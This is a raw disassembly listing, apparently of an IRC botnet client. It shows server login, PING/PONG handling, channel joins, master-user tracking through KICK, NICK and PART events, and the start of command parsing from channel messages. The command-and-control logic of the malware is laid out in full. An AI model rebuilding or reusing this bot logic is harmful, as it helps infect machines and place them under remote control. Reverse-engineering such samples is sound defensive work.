--------------------------------------------------------------------------- loc_40AA05: ; CODE XREF: sub_40A9EB+41j mov eax, [ebp+var_1C0] inc eax mov [ebp+var_1C0], eax loc_40AA12: ; CODE XREF: sub_40A9EB+18j cmp [ebp+var_1C0], 2 jge short loc_40AA2E mov eax, [ebp+var_1C0] shl eax, 7 and byte ptr [ebp+eax+var_1B8], 0 jmp short loc_40AA05 ; --------------------------------------------------------------------------- loc_40AA2E: ; CODE XREF: sub_40A9EB+2Ej movsx eax, byte_470244 test eax, eax jz short loc_40AA4E push offset byte_470244 ; char push offset aPassS ; "PASS %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch loc_40AA4E: ; CODE XREF: sub_40A9EB+4Cj push [ebp+arg_C] push 0 ; Str1 push 0 ; int lea eax, [ebp+Dest] push eax ; Dest call sub_40FD9A add esp, 0Ch push eax push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" lea eax, [ebp+Str] push eax ; Dest call _sprintf add esp, 14h push 0 lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+s] call dword_426470 ; send cmp eax, 0FFFFFFFFh jnz short loc_40AABC push [ebp+s] call dword_4264B8 ; closesocket push 1388h ; dwMilliseconds call ds:Sleep ; Sleep xor eax, eax jmp locret_40ABFC ; --------------------------------------------------------------------------- loc_40AABC: ; CODE XREF: sub_40A9EB+B4j ; sub_40A9EB:loc_40ABF5j push 1 pop eax test eax, eax jz loc_40ABFA push 1000h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push 0 push 1000h lea eax, [ebp+Dst] push eax push [ebp+s] call dword_42643C ; recv test eax, eax jg short loc_40AAFD jmp loc_40ABFA ; --------------------------------------------------------------------------- loc_40AAFD: ; CODE XREF: sub_40A9EB+10Bj lea eax, [ebp+Src] push eax ; int lea eax, [ebp+Dst] push eax ; Str call sub_408014 pop ecx pop ecx mov [ebp+var_1C0], eax and [ebp+var_994], 0 jmp short loc_40AB2E ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9EB:loc_40ABF0j mov eax, [ebp+var_994] inc eax mov [ebp+var_994], eax loc_40AB2E: ; CODE XREF: sub_40A9EB+134j mov eax, [ebp+var_994] cmp eax, [ebp+var_1C0] jge loc_40ABF5 mov [ebp+var_1BC], 1 loc_40AB4A: ; CODE XREF: sub_40A9EB+1CCj push [ebp+arg_1C] ; int push [ebp+var_1BC] ; int lea eax, [ebp+var_4] push eax ; int lea eax, [ebp+var_A4] push eax ; int lea eax, [ebp+var_1B8] push eax ; int push [ebp+arg_18] ; int push [ebp+arg_C] ; Dest push [ebp+arg_8] ; int push dword ptr [ebp+arg_4] ; char push [ebp+s] ; s mov eax, [ebp+var_994] push [ebp+eax*4+Src] ; Src call sub_40ABFE add esp, 2Ch mov [ebp+var_1BC], eax mov eax, [ebp+var_1BC] dec eax mov [ebp+var_1BC], eax cmp [ebp+var_1BC], 0 jle short loc_40ABB0 push 7D0h ; dwMilliseconds call ds:Sleep ; Sleep loc_40ABB0: ; CODE XREF: sub_40A9EB+1B8j cmp [ebp+var_1BC], 0 jg short loc_40AB4A mov eax, [ebp+var_1BC] mov [ebp+var_1A18], eax cmp [ebp+var_1A18], 0FFFFFFFDh jz short loc_40ABEB cmp [ebp+var_1A18], 0FFFFFFFEh jz short loc_40ABE6 cmp [ebp+var_1A18], 0FFFFFFFFh jz short loc_40ABE2 jmp short loc_40ABF0 ; --------------------------------------------------------------------------- loc_40ABE2: ; CODE XREF: sub_40A9EB+1F3j xor eax, eax jmp short locret_40ABFC ; --------------------------------------------------------------------------- loc_40ABE6: ; CODE XREF: sub_40A9EB+1EAj push 1 pop eax jmp short locret_40ABFC ; --------------------------------------------------------------------------- loc_40ABEB: ; CODE XREF: sub_40A9EB+1E1j push 2 pop eax jmp short locret_40ABFC ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40A9EB+1F5j jmp loc_40AB21 ; --------------------------------------------------------------------------- loc_40ABF5: ; CODE XREF: sub_40A9EB+14Fj jmp loc_40AABC ; --------------------------------------------------------------------------- loc_40ABFA: ; CODE XREF: sub_40A9EB+D6j ; sub_40A9EB+10Dj xor eax, eax locret_40ABFC: ; CODE XREF: sub_40A9EB+CCj ; sub_40A9EB+1F9j ... leave retn sub_40A9EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40ABFE(char *Src, SOCKET s, char, int, char *Dest, int, int, int, int, int, int) sub_40ABFE proc near ; CODE XREF: sub_40A9EB+196p var_1964 = dword ptr -1964h var_1960 = dword ptr -1960h var_195C = dword ptr -195Ch var_1958 = dword ptr -1958h var_1954 = dword ptr -1954h var_1950 = dword ptr -1950h var_194C = dword ptr -194Ch var_1948 = dword ptr -1948h var_1944 = dword ptr -1944h var_1940 = dword ptr -1940h var_193C = dword ptr -193Ch var_1938 = dword ptr -1938h var_1934 = dword ptr -1934h var_1930 = dword ptr -1930h var_192C = dword ptr -192Ch Format = dword ptr -1928h var_1924 = dword ptr -1924h var_1920 = byte ptr -1920h var_191C = dword ptr -191Ch namelen = dword ptr -1918h name = sockaddr ptr -1914h var_1904 = byte ptr -1904h var_18F4 = byte ptr -18F4h var_1874 = byte ptr -1874h var_17F4 = dword ptr -17F4h var_17F0 = dword ptr -17F0h var_17EC = dword ptr -17ECh var_17E8 = dword ptr -17E8h var_17E4 = dword ptr -17E4h var_17D8 = dword ptr -17D8h var_17D4 = dword ptr -17D4h var_17CC = dword ptr -17CCh var_17C8 = dword ptr -17C8h var_17C4 = dword ptr -17C4h var_17C0 = dword ptr -17C0h var_17B8 = dword ptr -17B8h var_17B4 = dword ptr -17B4h var_17B0 = byte ptr -17B0h var_1730 = byte ptr -1730h var_1630 = byte ptr -1630h var_1530 = dword ptr -1530h var_152C = dword ptr -152Ch var_1528 = dword ptr -1528h var_1524 = dword ptr -1524h var_1520 = dword ptr -1520h var_151C = dword ptr -151Ch var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_1404 = byte ptr -1404h var_1384 = dword ptr -1384h var_1380 = dword ptr -1380h var_137C = dword ptr -137Ch var_1378 = dword ptr -1378h var_1374 = dword ptr -1374h var_1370 = dword ptr -1370h var_136C = dword ptr -136Ch var_1368 = byte ptr -1368h var_1348 = byte ptr -1348h var_1248 = byte ptr -1248h var_11C8 = byte ptr -11C8h var_1148 = byte ptr -1148h var_10C8 = dword ptr -10C8h var_10C4 = dword ptr -10C4h var_10C0 = dword ptr -10C0h Buffer = byte ptr -10BCh var_FB8 = byte ptr -0FB8h var_F9C = dword ptr -0F9Ch var_F98 = byte ptr -0F98h var_F18 = byte ptr -0F18h var_E18 = byte ptr -0E18h var_D18 = dword ptr -0D18h var_D14 = dword ptr -0D14h var_D10 = dword ptr -0D10h var_D0C = dword ptr -0D0Ch var_D08 = dword ptr -0D08h var_D04 = dword ptr -0D04h var_D00 = dword ptr -0D00h var_CFC = dword ptr -0CFCh var_CF8 = dword ptr -0CF8h var_CF4 = byte ptr -0CF4h var_CF0 = dword ptr -0CF0h var_CEC = dword ptr -0CECh var_CE8 = dword ptr -0CE8h var_CE4 = dword ptr -0CE4h var_CE0 = byte ptr -0CE0h var_CDC = dword ptr -0CDCh var_CD8 = byte ptr -0CD8h Count = dword ptr -0CD4h var_CC8 = byte ptr -0CC8h var_CB8 = byte ptr -0CB8h var_C38 = byte ptr -0C38h var_BB8 = dword ptr -0BB8h var_BB4 = dword ptr -0BB4h var_BB0 = dword ptr -0BB0h var_BAC = dword ptr -0BACh var_BA8 = dword ptr -0BA8h var_B9C = dword ptr -0B9Ch var_B98 = dword ptr -0B98h var_B90 = dword ptr -0B90h var_B8C = dword ptr -0B8Ch var_B88 = dword ptr -0B88h var_B84 = dword ptr -0B84h var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_B74 = dword ptr -0B74h var_B70 = dword ptr -0B70h var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_B54 = dword ptr -0B54h var_B50 = dword ptr -0B50h var_B4C = dword ptr -0B4Ch var_B48 = dword ptr -0B48h var_B44 = byte ptr -0B44h var_AC4 = dword ptr -0AC4h var_AC0 = dword ptr -0AC0h var_ABC = dword ptr -0ABCh var_AB8 = dword ptr -0AB8h var_AB4 = dword ptr -0AB4h var_AB0 = dword ptr -0AB0h var_AAC = dword ptr -0AACh var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9A8 = dword ptr -9A8h var_9A4 = dword ptr -9A4h var_9A0 = dword ptr -9A0h var_99C = dword ptr -99Ch Parameter = dword ptr -998h var_994 = byte ptr -994h var_914 = dword ptr -914h var_910 = dword ptr -910h var_90C = dword ptr -90Ch var_908 = dword ptr -908h var_904 = dword ptr -904h var_900 = byte ptr -900h var_8FC = dword ptr -8FCh Source = dword ptr -8F8h var_8F4 = dword ptr -8F4h var_8F0 = dword ptr -8F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_87C = dword ptr -87Ch var_878 = dword ptr -878h Str = dword ptr -874h Str1 = dword ptr -870h var_86C = dword ptr -86Ch ThreadId = dword ptr -868h var_864 = dword ptr -864h var_860 = byte ptr -860h var_85F = byte ptr -85Fh var_85E = byte ptr -85Eh var_85C = dword ptr -85Ch Dst = byte ptr -858h var_658 = byte ptr -658h var_5D8 = dword ptr -5D8h var_5D4 = byte ptr -5D4h var_3D4 = byte ptr -3D4h var_373 = byte ptr -373h var_372 = byte ptr -372h var_36F = byte ptr -36Fh var_366 = byte ptr -366h var_362 = byte ptr -362h var_361 = byte ptr -361h var_2D4 = dword ptr -2D4h var_2D0 = byte ptr -2D0h SubStr = byte ptr -0D0h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h Str2 = dword ptr -0A0h lpFileName = dword ptr -9Ch var_98 = byte ptr -98h var_94 = dword ptr -94h var_90 = byte ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_20 = byte ptr -20h var_4 = dword ptr -4 Src = dword ptr 8 s = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h Dest = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 1964h call __alloca_probe push esi mov [ebp+var_BC], 3 and [ebp+ThreadId], 0 and [ebp+var_864], 0 and [ebp+var_4], 0 and [ebp+var_85C], 0 and [ebp+var_C4], 0 push 200h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push 1Bh ; Count push [ebp+Dest] ; Source lea eax, [ebp+var_20] push eax ; Dest call _strncpy add esp, 0Ch cmp [ebp+Src], 0 jnz short loc_40AC6B push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40AC6B: ; CODE XREF: sub_40ABFE+63j push 200h ; Size push 0 ; Val lea eax, [ebp+var_2D0] push eax ; Dst call _memset add esp, 0Ch push 1FFh ; Count push [ebp+Src] ; Source lea eax, [ebp+var_2D0] push eax ; Dest call _strncpy add esp, 0Ch push offset SubStr ; " :" lea eax, [ebp+var_2D0] push eax ; Str call _strstr pop ecx pop ecx mov [ebp+var_2D4], eax push 1FFh ; Count lea eax, [ebp+var_2D0] push eax ; Source lea eax, [ebp+var_5D4] push eax ; Dest call _strncpy add esp, 0Ch push offset Delim ; " " lea eax, [ebp+var_5D4] push eax ; Str call _strtok pop ecx pop ecx mov [ebp+Str2], eax mov [ebp+var_5D8], 1 jmp short loc_40ACFE ; --------------------------------------------------------------------------- loc_40ACF1: ; CODE XREF: sub_40ABFE+124j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40ACFE: ; CODE XREF: sub_40ABFE+F1j cmp [ebp+var_5D8], 20h jge short loc_40AD24 push offset asc_421F04 ; " " push 0 ; Str call _strtok pop ecx pop ecx mov ecx, [ebp+var_5D8] mov [ebp+ecx*4+Str2], eax jmp short loc_40ACF1 ; --------------------------------------------------------------------------- loc_40AD24: ; CODE XREF: sub_40ABFE+107j cmp [ebp+Str2], 0 jz short loc_40AD36 cmp [ebp+lpFileName], 0 jnz short loc_40AD3E loc_40AD36: ; CODE XREF: sub_40ABFE+12Dj push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40AD3E: ; CODE XREF: sub_40ABFE+136j push 100h ; Size push 0 ; Val lea eax, [ebp+var_3D4] push eax ; Dst call _memset add esp, 0Ch mov [ebp+var_5D8], 1Fh jmp short loc_40AD6D ; --------------------------------------------------------------------------- loc_40AD60: ; CODE XREF: sub_40ABFE+18Cj ; sub_40ABFE:loc_40AE13j mov eax, [ebp+var_5D8] dec eax mov [ebp+var_5D8], eax loc_40AD6D: ; CODE XREF: sub_40ABFE+160j cmp [ebp+var_5D8], 0 jl loc_40AE18 mov eax, [ebp+var_5D8] cmp [ebp+eax*4+Str2], 0 jnz short loc_40AD8C jmp short loc_40AD60 ; --------------------------------------------------------------------------- loc_40AD8C: ; CODE XREF: sub_40ABFE+18Aj mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+Str2] movsx eax, byte ptr [eax] cmp eax, 2Dh jnz short loc_40AE11 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+Str2] movsx eax, byte ptr [eax+2] test eax, eax jnz short loc_40AE11 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+Str2] movsx eax, byte ptr [eax+1] mov [ebp+eax+var_3D4], 1 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+Str2] and byte ptr [eax], 0 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+Str2] and byte ptr [eax+1], 0 mov eax, [ebp+var_5D8] mov eax, [ebp+eax*4+Str2] and byte ptr [eax+2], 0 mov eax, [ebp+var_5D8] and [ebp+eax*4+Str2], 0 jmp short loc_40AE13 ; --------------------------------------------------------------------------- loc_40AE11: ; CODE XREF: sub_40ABFE+1A1j ; sub_40ABFE+1B6j jmp short loc_40AE18 ; --------------------------------------------------------------------------- loc_40AE13: ; CODE XREF: sub_40ABFE+211j jmp loc_40AD60 ; --------------------------------------------------------------------------- loc_40AE18: ; CODE XREF: sub_40ABFE+176j ; sub_40ABFE:loc_40AE11j movzx eax, [ebp+var_361] test eax, eax jz short loc_40AE2A mov [ebp+var_4], 1 loc_40AE2A: ; CODE XREF: sub_40ABFE+223j movzx eax, [ebp+var_366] test eax, eax jz short loc_40AE43 and [ebp+var_4], 0 mov [ebp+var_85C], 1 loc_40AE43: ; CODE XREF: sub_40ABFE+235j mov eax, [ebp+Str2] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_40AE94 push 7Fh ; Count push [ebp+Str2] ; Source lea eax, [ebp+var_658] push eax ; Dest call _strncpy add esp, 0Ch push 17h ; Count mov eax, [ebp+Str2] inc eax push eax ; Source lea eax, [ebp+var_B8] push eax ; Dest call _strncpy add esp, 0Ch push offset asc_421F08 ; "!" lea eax, [ebp+var_B8] push eax ; Str call _strtok pop ecx pop ecx loc_40AE94: ; CODE XREF: sub_40ABFE+251j push [ebp+Str2] ; Str2 push offset Str1 ; "PING" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40AEF0 mov eax, [ebp+Str2] mov byte ptr [eax+1], 4Fh push [ebp+lpFileName] ; char push offset aPongS ; "PONG %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch mov eax, [ebp+arg_20] cmp dword ptr [eax], 0 jnz short loc_40AEE8 push [ebp+arg_C] push dword ptr [ebp+arg_8] ; char push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h loc_40AEE8: ; CODE XREF: sub_40ABFE+2D2j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40AEF0: ; CODE XREF: sub_40ABFE+2AAj push [ebp+lpFileName] ; Str2 push offset a001 ; "001" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40AF1C push [ebp+lpFileName] ; Str2 push offset a005 ; "005" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40AF6F loc_40AF1C: ; CODE XREF: sub_40ABFE+306j push [ebp+Dest] ; char push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch push offset aIupX ; "+iup-x" push [ebp+Dest] ; char push offset aModeSS ; "MODE %s %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h push [ebp+arg_C] push dword ptr [ebp+arg_8] ; char push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h mov dword_470254, 1 push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40AF6F: ; CODE XREF: sub_40ABFE+31Cj push [ebp+lpFileName] ; Str2 push offset a302 ; "302" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40AFC6 push offset a@ ; "@" push [ebp+var_94] ; Str call _strstr pop ecx pop ecx mov [ebp+var_86C], eax cmp [ebp+var_86C], 0 jz short loc_40AFBE push 9Fh ; Count mov eax, [ebp+var_86C] inc eax push eax ; Source push [ebp+arg_1C] ; Dest call _strncpy add esp, 0Ch loc_40AFBE: ; CODE XREF: sub_40ABFE+3A6j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40AFC6: ; CODE XREF: sub_40ABFE+385j push [ebp+lpFileName] ; Str2 push offset a433 ; "433" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B00A push 0 ; Str1 push dword_421C4C ; int push [ebp+Dest] ; Dest call sub_40FD9A add esp, 0Ch push [ebp+Dest] ; char push offset aNickS ; "NICK %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 0Ch push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B00A: ; CODE XREF: sub_40ABFE+3DCj and [ebp+var_5D8], 0 jmp short loc_40B020 ; --------------------------------------------------------------------------- loc_40B013: ; CODE XREF: sub_40ABFE:loc_40B054j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40B020: ; CODE XREF: sub_40ABFE+413j cmp [ebp+var_5D8], 2 jge short loc_40B056 lea eax, [ebp+var_658] push eax ; Str2 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B054 mov [ebp+var_864], 1 loc_40B054: ; CODE XREF: sub_40ABFE+44Aj jmp short loc_40B013 ; --------------------------------------------------------------------------- loc_40B056: ; CODE XREF: sub_40ABFE+429j push [ebp+lpFileName] ; Str2 push offset aKick ; "KICK" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40B18F and [ebp+var_5D8], 0 jmp short loc_40B086 ; --------------------------------------------------------------------------- loc_40B079: ; CODE XREF: sub_40ABFE+4A9j ; sub_40ABFE:loc_40B152j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40B086: ; CODE XREF: sub_40ABFE+479j cmp [ebp+var_5D8], 2 jge loc_40B157 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jnz short loc_40B0A9 jmp short loc_40B079 ; --------------------------------------------------------------------------- loc_40B0A9: ; CODE XREF: sub_40ABFE+4A7j push 7Fh ; Count mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Source lea eax, [ebp+var_658] push eax ; Dest call _strncpy add esp, 0Ch lea eax, [ebp+var_B8] mov [ebp+Str1], eax cmp [ebp+Str1], 0 jz short loc_40B152 cmp [ebp+var_94], 0 jz short loc_40B152 push [ebp+var_94] ; Str2 push [ebp+Str1] ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B152 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 push [ebp+Str1] push offset dword_421F88 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax push [ebp+Str1] ; char push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h lea eax, [ebp+Dst] push eax call sub_40913D pop ecx loc_40B152: ; CODE XREF: sub_40ABFE+4DEj ; sub_40ABFE+4E7j ... jmp loc_40B079 ; --------------------------------------------------------------------------- loc_40B157: ; CODE XREF: sub_40ABFE+48Fj push [ebp+var_94] ; Str2 push [ebp+Dest] ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B187 mov eax, [ebp+arg_20] and dword ptr [eax], 0 push [ebp+arg_C] push dword ptr [ebp+arg_8] ; char push offset aJoinSS_1 ; "JOIN %s %s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h loc_40B187: ; CODE XREF: sub_40ABFE+56Bj push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B18F: ; CODE XREF: sub_40ABFE+46Cj push [ebp+lpFileName] ; Str2 push offset aNick ; "NICK" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40B3B7 lea eax, [ebp+var_B8] mov [ebp+var_878], eax mov eax, dword ptr [ebp+var_98] inc eax mov [ebp+Str], eax and [ebp+var_5D8], 0 jmp short loc_40B1D8 ; --------------------------------------------------------------------------- loc_40B1CB: ; CODE XREF: sub_40ABFE:loc_40B271j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40B1D8: ; CODE XREF: sub_40ABFE+5CBj cmp [ebp+var_5D8], 2 jge loc_40B276 lea eax, [ebp+var_658] push eax ; Str2 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B271 push 21h ; Val lea eax, [ebp+var_658] push eax ; Str call _strchr pop ecx pop ecx mov [ebp+var_87C], eax cmp [ebp+var_87C], 0 jz short loc_40B271 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] mov byte ptr [ecx+eax], 3Ah push [ebp+Str] ; Source mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+1] push eax ; Dest call _strcpy pop ecx pop ecx push [ebp+var_87C] ; Source mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+2] push eax ; Dest call _strcat pop ecx pop ecx loc_40B271: ; CODE XREF: sub_40ABFE+606j ; sub_40ABFE+625j jmp loc_40B1CB ; --------------------------------------------------------------------------- loc_40B276: ; CODE XREF: sub_40ABFE+5E1j cmp [ebp+var_878], 0 jz loc_40B3AF cmp [ebp+Str], 0 jz loc_40B3AF push [ebp+Dest] ; Str2 push [ebp+var_878] ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B2BF push 0Fh ; Count push [ebp+Str] ; Source push [ebp+Dest] ; Dest call _strncpy add esp, 0Ch push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B2BF: ; CODE XREF: sub_40ABFE+6A4j and [ebp+var_5D8], 0 jmp short loc_40B2D5 ; --------------------------------------------------------------------------- loc_40B2C8: ; CODE XREF: sub_40ABFE:loc_40B3AAj mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40B2D5: ; CODE XREF: sub_40ABFE+6C8j cmp [ebp+var_5D8], 2 jge loc_40B3AF mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz loc_40B3AA lea eax, [ebp+var_658] push eax ; Str2 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz loc_40B3AA push 21h ; Val lea eax, [ebp+var_658] push eax ; Str call _strchr pop ecx pop ecx mov [ebp+var_8E4], eax cmp [ebp+var_8E4], 0 jz short loc_40B35F push [ebp+Str] ; Str call _strlen pop ecx mov esi, eax push [ebp+var_8E4] ; Str call _strlen pop ecx add esi, eax cmp esi, 7Eh jbe short loc_40B367 loc_40B35F: ; CODE XREF: sub_40ABFE+73Ej push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B367: ; CODE XREF: sub_40ABFE+75Fj push [ebp+var_8E4] push [ebp+Str] push offset aSS_7 ; ":%s%s" mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Dest call _sprintf add esp, 10h push 0 push 0 lea eax, [ebp+var_8E0] push eax push dword ptr [ebp+arg_8] push [ebp+s] call sub_40A08D add esp, 14h jmp short loc_40B3AF ; --------------------------------------------------------------------------- loc_40B3AA: ; CODE XREF: sub_40ABFE+6F6j ; sub_40ABFE+71Bj jmp loc_40B2C8 ; --------------------------------------------------------------------------- loc_40B3AF: ; CODE XREF: sub_40ABFE+67Fj ; sub_40ABFE+68Cj ... push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B3B7: ; CODE XREF: sub_40ABFE+5A5j push [ebp+lpFileName] ; Str2 push offset aPart ; "PART" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40B3E7 push [ebp+lpFileName] ; Str2 push offset aQuit_0 ; "QUIT" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40B4BC loc_40B3E7: ; CODE XREF: sub_40ABFE+7CDj and [ebp+var_5D8], 0 jmp short loc_40B3FD ; --------------------------------------------------------------------------- loc_40B3F0: ; CODE XREF: sub_40ABFE:loc_40B4B7j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_40B3FD: ; CODE XREF: sub_40ABFE+7F0j cmp [ebp+var_5D8], 2 jge loc_40B4BC mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz loc_40B4B7 push [ebp+Str2] ; Str2 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B4B7 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 lea eax, [ebp+var_B8] push eax push offset dword_421FF8 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax call sub_40913D pop ecx push [ebp+lpFileName] ; Str2 push offset aPart_0 ; "PART" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B4AF lea eax, [ebp+Dst] push eax mov eax, [ebp+Str2] inc eax push eax ; char push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" push [ebp+s] ; int call sub_40A03C add esp, 10h loc_40B4AF: ; CODE XREF: sub_40ABFE+890j push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B4B7: ; CODE XREF: sub_40ABFE+81Ej ; sub_40ABFE+842j jmp loc_40B3F0 ; --------------------------------------------------------------------------- loc_40B4BC: ; CODE XREF: sub_40ABFE+7E3j ; sub_40ABFE+806j push [ebp+lpFileName] ; Str2 push offset a353 ; "353" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B509 push dword ptr [ebp+var_90] ; Str2 push dword ptr [ebp+arg_8] ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B4EF mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40B4EF: ; CODE XREF: sub_40ABFE+8E6j push dword ptr [ebp+var_90] ; char push offset dword_422044 ; Format call sub_4091D3 pop ecx pop ecx push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B509: ; CODE XREF: sub_40ABFE+8D2j push [ebp+lpFileName] ; Str2 push offset aPrivmsg_0 ; "PRIVMSG" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40B55C push [ebp+lpFileName] ; Str2 push offset aNotice_0 ; "NOTICE" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40B55C push [ebp+lpFileName] ; Str2 push offset a332 ; "332" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40F50F cmp dword_421C3C, 0 jz loc_40F50F loc_40B55C: ; CODE XREF: sub_40ABFE+91Fj ; sub_40ABFE+935j push [ebp+lpFileName] ; Str2 push offset aPrivmsg_1 ; "PRIVMSG" call _strcmp pop ecx pop ecx test eax, eax jz short loc_40B58C push [ebp+lpFileName] ; Str2 push offset aNotice_1 ; "NOTICE" call _strcmp pop ecx pop ecx test eax, eax jnz loc_40B788 loc_40B58C: ; CODE XREF: sub_40ABFE+972j push [ebp+lpFileName] ; Str2 push offset aNotice_2 ; "NOTICE" call _strcmp pop ecx pop ecx test eax, eax jnz short loc_40B5AC mov [ebp+var_85C], 1 loc_40B5AC: ; CODE XREF: sub_40ABFE+9A2j cmp dword ptr [ebp+var_98], 0 jnz short loc_40B5BD push 1 pop eax jmp loc_40F512 ; --------------------------------------------------------------------------- loc_40B5BD: ; CODE XREF: sub_40ABFE+9B5j push offset asc_4220A0 ; "#" push dword ptr [ebp+var_98] ; Str call _strstr pop ecx pop ecx test eax, eax jz short loc_40B5DC 